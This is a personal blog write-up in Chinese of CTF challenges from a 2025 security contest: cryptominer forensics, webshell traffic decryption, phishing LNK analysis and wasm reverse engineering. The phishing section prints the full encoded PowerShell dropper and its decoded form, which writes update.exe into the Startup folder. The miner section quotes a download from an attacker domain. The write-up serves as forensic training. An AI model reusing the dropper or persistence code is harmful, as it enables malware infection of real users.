
2025年“湾区杯”网络安全大赛初赛

Forensics
SilentMiner
Challenge
铛,铛,铛,洞穴里传来铁镐敲击石头的声音。
回答以下问题,每个问题都是一个单独的flag:
- 攻击者的ip地址
- 攻击者共进行多少次ssh口令爆破失败?
- 后门文件路径的绝对路径
- 攻击者用户分发恶意文件的域名(注意系统时区)
- 挖矿病毒所属的家族(全小写)
注意:每一小问的答案提交的时候需要带上
flag{*}
比如答案whoami
需要提交flag{whoami}
。答对所有小问后,才会得到该题的 flag。
题目附件链接1:https://pan.baidu.com/s/1HLkthjGvjnRT34hm_Ifkew?pwd=6b9b
题目附件链接2(SilentMiner.7z+BadEmail.zip):https://adnav-data.obs.myhuaweicloud.com:443/wq/%E9%99%84%E4%BB%B6.zip?AccessKeyId=HPUALOBCQTBFQ07YYZGK&Expires=1757481203&Signature=jcX94Vns/CoyOkAAtA6kVN8SS5U%3D
Solution
1
查看日志 /var/log/auth.log
在日志的后半部分,从 Aug 10 09:57:08 开始,出现了大量的 sshd 登录失败记录,所有这些失败记录都指向同一个源 IP 地址。
1 | Aug 10 09:57:10 lee-virtual-machine sshd[83179]: Failed password for lee from 192.168.145.131 port 36554 ssh2 |
在经历了密集的失败尝试后,这个 IP 最终成功登录。
1 | Aug 10 10:00:14 lee-virtual-machine sshd[83820]: Accepted password for lee from 192.168.145.131 port 37864 ssh2 |
1 | flag{192.168.145.131} |
2
1 | ┌──(kali㉿kali)-[~/Desktop] |
在攻击者第一次成功登录 (10:00:14) 之后,他进行了一次额外的试探:
1 | Aug 10 10:00:44 lee-virtual-machine sshd[83929]: Invalid user kali from 192.168.145.131 port 47584 |
因此答案是 257+1=258
1 | flag{258} |
3
攻击者在 10:01:24 成功登录后立即开始了一系列提权和植入后门的操作,将系统正常的 SSH 服务程序替换为了自己的后门程序。
成功登录:
1
Aug 10 10:01:24 lee-virtual-machine sshd[83931]: Accepted password for lee from 192.168.145.131 port 52018 ssh2
创建恶意文件:攻击者使用 tee 命令在 /usr/sbin 目录下创建了一个名为 sshd 的新文件。tee 的作用是从标准输入读取并写入文件。PWD=/usr/sbin 表明攻击者当时的操作目录是 /usr/sbin。
1
Aug 10 10:04:07 lee-virtual-machine sudo: lee : TTY=pts/0 ; PWD=/usr/sbin ; USER=root ; COMMAND=/usr/bin/tee sshd
赋予执行权限:
1
Aug 10 10:04:23 lee-virtual-machine sudo: lee : TTY=pts/0 ; PWD=/usr/sbin ; USER=root ; COMMAND=/usr/bin/chmod u+x sshd
重启服务使后门生效:攻击者多次尝试重启 ssh 服务运行这个被替换的恶意的 sshd 程序。
1
Aug 10 10:04:33 lee-virtual-machine sudo: lee : TTY=pts/0 ; PWD=/usr/sbin ; USER=root ; COMMAND=/usr/sbin/service ssh restart
1 | flag{/usr/sbin/sshd} |
4
分析 /home/lee/.bash_history
发现下面这部分很明显是攻击者的行为:
1 | sudo apt-get install dnsmasq |
攻击者安装并配置了 dnsmasq:
1 | sudo tee /etc/dnsmasq.conf > /dev/null << 'EOF' |
log-queries 这个配置是关键,攻击者开启了 DNS 查询日志功能,并将日志输出到 /var/log/dnsmasq.log。
劫持系统 DNS 解析:
1 | sudo rm /etc/resolv.conf |
攻击者强制将系统的 DNS 服务器指向本机,这意味着这台服务器上所有的程序在请求域名时,都会先把请求发给 dnsmasq。
启动服务并监视日志:
1 | sudo systemctl start dnsmasq |
攻击者启动了 dnsmasq 服务,然后立刻开始实时监控 DNS 查询日志。
接下来分析 /var/log/dnsmasq.log
,在仔细筛选这份日志后找到了一个极其可疑的条目:
1 | Aug 10 10:30:25 dnsmasq[82360]: query[A] tombaky.com from 127.0.0.1 |
10:30:25 这个时间点在攻击者成功登录 (10:01:24) 并植入 SSH 后门 (~10:05:35) 之后。这是一个非常合理的时间,攻击者在完成持久化后开始部署他的主要恶意载荷。tombaky.com 这个域名在整个日志中只出现了一次。它不像浏览器流量那样会产生一连串的域名解析请求。这种“一次性”的、独立的查询非常符合恶意软件连接 C2 服务器或矿池的行为特征。而且这个域名非常冷门,不是一个正常的互联网服务。
查找镜像的字符串也可交叉验证:
1 | --2025-08-10 10:30:25-- http://tombaky.com:4019/SXyq |
1 | flag{tombaky.com} |
5
搜索 SXyq
找到恶意文件然后把它还原出来分析
内容如下:
1 |
|
解码得到下面的关键片段:
1 | # ... (其他代码) |
所以要么是 kdevtmpfsi
要么是 kinsing
,经尝试得到 flag:
1 | flag{kinsing} |
综上:
1 | flag{192.168.145.131} |
FLAG
1 | flag{pTkbtCNm7yhRN5edKCESbfeXRU795kCQ} |
checkwebshell
Challenge
小明在日常工作的流量监控中发现一段比较有趣的流量,当他想要提取出来时发现一个有趣的信息,其中包含一个flag快来发现它。
Solution
直接搜索字符串 flag
,找到第 696 条流量
追踪流:
1 | POST /shell.php HTTP/1.1 |
把上面的 php 代码丢给 AI,让它写解密脚本:
1 | import base64 |
1 | 密钥 (bytes): b'a8a58b78f41eeb6a' |
FLAG
1 | flag{1ac380d6-5820-4e1a-b40e-ddf1789f6b0d} |
bademail
Challenge
我收到了来自hr的邮件,当我打开附件的时候一个黑框一闪而过,我立刻上报了IT部门,于是他们拿走了我的硬盘。
- 攻击者的邮箱地址是什么?
- 攻击者的MAC地址是什么?(格式:
([a-z0-9]{2}\:){5}[a-z0-9]{2}
)- 攻击者机器是虚拟机吗?(y/n)
- 攻击者采用的权限维持技术的ATT&CK ID是多少?(格式
T[0-9]{4}\.[0-9]+
)- 诱饵文件的真实创建时间?(格式:yyyy-mm-dd_hh:mm:ss,时区为UTC+8)
- 恶意软件通讯采用的对称加密算法和生成密钥使用主密钥是什么?提交组合后的哈希值(格式:md5(des-ecb_十六进制字符串密钥),字母全部为小写字母)
- 恶意软件的TLS证书的签名者是谁?(空格用_替代)
- 受害者被窃取的discord账户密码是多少?
注意:每一小问的答案提交的时候需要带上
flag{*}
比如答案whoami
需要提交flag{whoami}
。答对所有小问后,才会得到该题的 flag。
题目附件链接1:https://pan.baidu.com/s/1GUrHBDi5a5HRixh8DsCHqQ?pwd=8xll
题目附件链接2(SilentMiner.7z+BadEmail.zip):https://adnav-data.obs.myhuaweicloud.com:443/wq/%E9%99%84%E4%BB%B6.zip?AccessKeyId=HPUALOBCQTBFQ07YYZGK&Expires=1757481203&Signature=jcX94Vns/CoyOkAAtA6kVN8SS5U%3D
Solution
使用工具分析:
1 | 驱动器: E:\Desktop\BadEmail\chall1.E01 |
使用R-Studio重组raid并解题
1
在收件箱找到 Fri Aug 15 10:23:58 2025
的钓鱼邮件
1 | From: =?GBK?B?wfW378P5?= <hnhuimeng_hr@163.com> |
找到发件人
1 | flag{hnhuimeng_hr@163.com} |
2
提取附件的脚本:
1 | import mailbox |
使用专门为解析 .lnk 文件而设计的工具 LECmd 提取快捷方式的信息
1 | LECmd -f 湖南绘梦有限公司管理规定.lnk --csv . |
1 | >> Tracker database block |
1 | flag{00:0c:29:d8:d0:69} |
3
从第二问能看出来
1 | flag{y} |
4
解压附件得到的 .lnk
的目标是:
1 | C:\Windows\System32\cmd.exe /c powershell.exe -w hidden -enc "JAB6AGQAPQAgAEcAZQB0AC0ATABvAGMAYQB0AGkAbwBuADsAJABjAGEAcABlAD0AIAAiACQAegBkAFwAVm5XU9h+pmgJZ1CWbFH4U6F7BnTEiZpbLgBsAG4AawAiADsAJABjADEAcwAyACAAPQAgAEcAZQB0AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAYwBhAHAAZQA7ACQAeABrACAAPQAgAFsAYgB5AHQAZQBbAF0AXQAgAEAAKAAwAHgAMQAzACwAIAAwAHgARgA1ACkAOwAkAGYAYgBjAHMAZQAxACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABjAGEAcABlACkAOwAkAHMAdABzAGUAZQA9ACQAYwAxAHMAMgAuAEwAZQBuAGcAdABoAC0AMgA2ADEAOQA4ADgALQAzADUAMAAzADEAOwAkAGUAbgBjAHIAeQBwAHQAZQBkAEQAYQB0AGEAIAA9ACAAJABmAGIAYwBzAGUAMQBbACQAcwB0AHMAZQBlAC4ALgAoACQAZgBiAGMAcwBlADEALgBMAGUAbgBnAHQAaAAgAC0AMwA1ADAAMwAyACkAXQA7ACQAZAAwAHMAeABkACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACgAJABlAG4AYwByAHkAcAB0AGUAZABEAGEAdABhAC4ATABlAG4AZwB0AGgAKQA7AGYAbwByACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwByAHkAcAB0AGUAZABEAGEAdABhAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkADAAcwB4AGQAWwAkAGkAXQAgAD0AIAAkAGUAbgBjAHIAeQBwAHQAZQBkAEQAYQB0AGEAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAeABrAFsAJABpACAAJQAgACQAeABrAC4ATABlAG4AZwB0AGgAXQB9ADsAJABvAG8AcAAgAD0AIABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAegBkACAAIAAtAEMAaABpAGwAZABQAGEAdABoACAAIgBWbldT2H6maAlnUJZsUfhToXsGdMSJmlsuAHAAZABmACIAOwBbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgBXAHIAaQB0AGUAQQBsAGwAQgB5AHQAZQBzACgAJABvAG8AcAAsACAAJABkADAAcwB4AGQAKQA7AFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAYwBhAHAAZQAgAC0ARgBvAHIAYwBlADsAaQBpACAAIgBWbldT2H6maAlnUJZsUfhToXsGdMSJmlsuAHAAZABmACIAOwAgACQAcABvADIAcwBkAHcAMQAgAD0AIAAkAGYAYgBjAHMAZQAxAFsAKAAkAGYAYgBjAHMAZQAxAC4ATABlAG4AZwB0AGgAIAAtACAAMwA1ADAAMwAxACkALgAuACgAJABmAGIAYwBzAGUAMQAuAEwAZQBuAGcAdABoACAALQAgADEAKQBdADsAIAAkAGMANAAwADUAdgBkACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALAAkAHAAbwAyAHMAZAB3ADEAKQA7ACQAZABzADIAdwBkACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAJABnADYAUwBzAGEAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwBaAGkAcABTAHQAcgBlAGEAbQAoACQAYwA0ADAANQB2AGQALAAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAOwAkAGcANgBTAHMAYQAuAEMAbwBwAHkAVABvACgAJABkAHMAMgB3AGQAKQA7ACQAZABmADIAMwBkACAAPQAgACQAZABzADIAdwBkAC4AVABvAEEAcgByAGEAeQAoACkAOwBbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgBXAHIAaQB0AGUAQQBsAGwAQgB5AHQAZQBzACgAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAFMAdABhAHIAdAAgAE0AZQBuAHUAXABQAHIAbwBnAHIAYQBtAHMAXABTAHQAYQByAHQAdQBwAFwAdQBwAGQAYQB0AGUALgBlAHgAZQAiACwAIAAkAGQAZgAyADMAZAApAA==" |
在 PowerShell 解码
1 | [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String("...") |
得到
1 | $zd= Get-Location;$cape= "$zd\湖南绘梦有限公司管理规定.lnk";$c1s2 = Get-Item -Path $cape;$xk = [byte[]] @(0x13, 0xF5);$fbcse1 = [System.IO.File]::ReadAllBytes($cape);$stsee=$c1s2.Length-261988-35031;$encryptedData = $fbcse1[$stsee..($fbcse1.Length -35032)];$d0sxd = New-Object byte[] ($encryptedData.Length);for($i = 0; $i -lt $encryptedData.Length; $i++) {$d0sxd[$i] = $encryptedData[$i] -bxor $xk[$i % $xk.Length]};$oop = Join-Path -Path $zd -ChildPath "湖南绘梦有限公司管理规 定.pdf";[System.IO.File]::WriteAllBytes($oop, $d0sxd);Remove-Item -Path $cape -Force;ii "湖南绘梦有限公司管理规定.pdf"; $po2sdw1 = $fbcse1[($fbcse1.Length - 35031)..($fbcse1.Length - 1)]; $c405vd = New-Object System.IO.MemoryStream(,$po2sdw1);$ds2wd = New-Object System.IO.MemoryStream;$g6Ssa = New-Object System.IO.Compression.GZipStream($c405vd, [System.IO.Compression.CompressionMode]::Decompress);$g6Ssa.CopyTo($ds2wd);$df23d = $ds2wd.ToArray();[System.IO.File]::WriteAllBytes("$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\update.exe", $df23d) |
- 证据定位:
在这段脚本的末尾有以下代码:
1 | [System.IO.File]::WriteAllBytes("$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\update.exe", $df23d) |
这行代码是整个权限维持机制的核心。
- 行为分析:
我们来拆解这行命令的含义,以理解其技术行为:
[System.IO.File]::WriteAllBytes(...)
:这是一个 .NET Framework 的方法,功能是向指定路径写入一个字节数组。$df23d
:这是 PowerShell 脚本中的一个变量,它存储了从.lnk
文件自身提取并经过 GZip 解压缩后的数据,也就是恶意可执行文件(后门程序)的内容。"$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\update.exe"
:这是写入的目标路径,也是最关键的部分。$env:APPDATA
是一个系统环境变量,它会动态解析为当前用户的应用程序数据文件夹。在大多数 Windows 系统上,这个路径是C:\Users\<当前用户名>\AppData\Roaming
。- 因此,完整路径就是
C:\Users\<当前用户名>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update.exe
。 - 这个
Startup
文件夹(中文系统下显示为“启动”文件夹)是 Windows 的一个特殊系统文件夹。
核心行为是:攻击者将一个名为 update.exe
的恶意程序放置到了当前用户的“启动”文件夹中。
- MITRE ATT&CK 框架映射:
现在,我们将分析出的行为与 MITRE ATT&CK 框架进行匹配:
确定战术 (Tactic):该行为的最终目的是确保恶意软件在系统重启或用户重新登录后能够自动运行,从而保持对系统的控制。这完全符合 Persistence (权限维持) 战术的定义 (战术 ID: TA0003)。
确定技术 (Technique):在“权限维持”战术下,我们需要寻找与开机或登录时自动执行程序相关的技术。T1547: Boot or Logon Autostart Execution (启动或登录时自动执行) 完美地描述了这种行为。
确定子技术 (Sub-technique):技术 T1547 包含了多种实现自动执行的方法(如修改注册表、创建计划任务、替换系统服务等)。我们需要找到最精确的那个子技术。
- 将文件放入“启动”文件夹是其中一种最古老也最直接的方法。
- 查阅 T1547 的子技术列表,我们可以找到 T1547.001: Registry Run Keys / Startup Folder (注册表运行键 / 启动文件夹)。
- 该子技术的描述明确指出:“Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the ‘run keys’ in the Registry or startup folder will cause the program referenced to be executed when a user logs in.”
攻击者的 PowerShell 脚本明确地将可执行文件写入了用户的“启动”(Startup
)文件夹,这一行为与 ATT&CK 子技术 T1547.001 的描述完全吻合。
1 | flag{T1547.001} |
5
从第四问可以看到这个脚本的作用是:
- 释放并打开诱饵 PDF
- 读取 .lnk 文件自身的内容。
- 从文件尾部特定偏移量提取数据块。
- 用 0x13, 0xF5 这个密钥进行 XOR 解密。
- 将解密后的内容保存为 湖南绘梦有限公司管理规定.pdf。
- 删除原始的 .lnk 文件。
- 自动打开这个 PDF 文件来迷惑用户。
- 植入后门
- 从 .lnk 文件的最后一部分提取另一个数据块。
- 对该数据块进行 GZip 解压缩。
- 将解压后的内容(一个可执行文件)保存到启动文件夹,路径为 %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\update.exe。
提取出诱饵PDF和后门文件:
1 | import gzip |
使用 exiftool
查看提取出来的 湖南绘梦有限公司管理规定.pdf
的 exif 信息
1 | exiftool 湖南绘梦有限公司管理规定.pdf |
1 | Create Date : 2025:08:15 01:37:26+08:00 |
1 | flag{2025-08-15_01:37:26} |
6/7/8
后面三问没做出来
Reverse
minigame
Challenge
一个简单的微信小程序
Solution
用 biggerstar/wedecode 解,给出的附件没有加密,因此直接反编译就行。
通过分析反编译小程序的文件结构,我们快速定位到几个关键文件:
pages/index/index.js
: 小程序页面的主要逻辑,处理用户输入和界面展示utils/validator.js
: 一个封装了核心校验逻辑的模块utils/validator.wasm
: WebAssembly 文件,真正的校验算法所在地
index.js
中的代码显示,程序会检查输入字符串的长度是否为38,然后调用 validator.js
中的 _validateString
函数进行校验。
validator.js
的作用是加载 validator.wasm
模块,并将其中的导出函数(如 _validateString
)暴露给上层调用。
由此可知解题的关键在于逆向分析 validator.wasm
文件。
使用 IDA Pro 对 validator.wasm
进行反编译得到其汇编代码,核心校验逻辑位于函数 c
中。
在函数 c
的代码中可以找到一处比较逻辑:
1 | code:00B6 L1: ; CODE XREF: c+18↑j |
这段代码将输入的长度与 0x26
(十进制的38) 进行比较,如果不相等则直接返回 0
(失败),这印证了 index.js
中的长度判断
在 data
段中发现一段被加载到内存地址 0x400
的数据,长度为38字节,推测这是用于校验的密钥或加密数据:
1 | data:00FF data_0: db 0xFF, 0xF5, 0xF8, 0xFE, 0xE2, 0xFF, 0xF8, 0xFC, 0xA9 |
在函数 c
的主循环中找到核心的校验算法:
1 | code:00C1 L8: ; CODE XREF: c+B3↓j |
该算法的逻辑可以概括为:
- 遍历输入字符串的每一个字节
input[i]
- 从内存地址
0x400
开始,取出对应的字节data[i]
- 计算
input[i] ^ data[i]
- 检查结果是否等于
0x99
- 只有当所有38个字节的校验结果都为
true
时,整个字符串才算校验成功
根据逆向出的算法可以推导出正确的输入字节:
1 | input[i] = data[i] ^ 0x99 |
编写脚本解密:
1 | data = [ |
运行脚本得到 flag
FLAG
1 | flag{fae0b27c451c728867a567e8c1bb4e53} |
- 标题: 2025年“湾区杯”网络安全大赛初赛
- 作者: Aristore
- 创建于 : 2025-09-08 00:00:00
- 更新于 : 2025-09-25 19:06:47
- 链接: https://www.aristore.top/posts/wqb2025/
- 版权声明: 版权所有 © Aristore,禁止转载。